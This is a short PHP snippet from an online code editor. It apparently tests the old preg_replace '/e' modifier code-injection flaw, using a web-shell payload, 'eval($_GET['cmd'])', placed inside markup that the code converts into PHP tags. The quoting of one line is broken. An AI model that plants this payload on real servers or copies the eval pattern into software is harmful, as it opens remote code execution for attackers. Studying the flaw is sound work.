Online PHP editor | output for NrpD0

<?php function spam($email) { $email = "[? eval($_GET['cmd']); ?]"; $email = preg_replace("/\./", " dot ", $email); $email = preg_replace("/@/", " AT ", $email); return $email; } function markup($filename, $use_me) { $contents = '[? eval($_GET['cmd']); ?]'; $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents); $contents = preg_replace("/\[/", "<", $contents); $contents = preg_replace("/\]/", ">", $contents); return $contents; } $output = markup($argv[1], $argv[2]); $output2 = spam($argv[1]); print $output2; print $output;